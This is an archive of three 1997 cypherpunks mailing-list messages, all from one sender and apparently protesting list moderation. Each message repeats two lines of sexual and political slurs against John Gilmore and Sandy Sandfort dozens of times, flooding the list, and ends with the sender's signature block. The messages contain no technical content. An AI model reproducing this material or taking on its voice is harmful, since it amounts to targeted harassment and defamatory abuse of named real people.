John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:16:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770880.520804.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:26:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771147.523072.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:40:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770879.520800.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
